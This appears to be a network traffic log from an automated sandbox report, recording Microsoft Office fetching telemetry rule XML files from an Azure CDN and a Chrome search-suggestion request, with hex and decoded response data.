2024-11-20 13:43:15 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:17 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:17 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134317Z-185f5d8b95c95vpshC1NYC759c0000000a8000000000hp6p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:17 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:17 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:17 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134317Z-r1d97b99577n4dznhC1TEBc1qw00000008x000000000dux9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:17 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:17 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:17 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134317Z-1777c6cb754b7tdghC1TEBwwa400000009r000000000fhpm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:17 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:17 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:17 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134317Z-185f5d8b95csp6jmhC1NYCwy6s0000000aa0000000007b0c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:17 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:17 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:17 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 884d2a23-a01e-00ab-5b8c-3a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134317Z-185f5d8b95crwqd8hC1NYCps680000000aag0000000098f0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:17 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:19 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:20 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134320Z-185f5d8b95csd4bwhC1NYCq7dc0000000a3g00000000r8wn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:20 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:19 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134320Z-1777c6cb754g9zd5hC1TEBfvpw00000009qg00000000myfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:19 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134320Z-r1d97b99577tssmjhC1TEB8kan00000008sg00000000dvzq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:20 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:20 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:20 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: e592c5af-601e-000d-69fb-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134320Z-r1d97b99577hsvhhhC1TEByb1w00000003900000000044eb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 13:43:20 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:20 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:20 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134320Z-r1d97b99577lxltfhC1TEByw2s00000008wg00000000h2w7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:20 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49732	172.217.21.36	443	5000	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:20 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 13:43:21 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:20 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-u626rtEdpX3NOuyWtj2jGw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-20 13:43:21 UTC	124	IN	Data Raw: 32 66 64 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 61 72 63 61 6e 65 20 6a 69 6e 78 20 66 69 78 65 73 20 65 76 65 72 79 74 68 69 6e 67 20 61 63 74 20 32 20 63 6f 64 65 22 2c 22 6d 61 67 6e 65 74 69 63 20 6e 6f 72 74 68 20 70 6f 6c 65 20 6d 6f 76 69 6e 67 22 2c 22 61 6d 75 73 65 6d 65 6e 74 20 70 61 72 6b 20 72 69 64 65 20 73 74 75 63 6b 22 2c 22 6d 65 74 73 20 62 61 73 65 Data Ascii: 2fd)]}'["",["arcane jinx fixes everything act 2 code","magnetic north pole moving","amusement park ride stuck","mets base
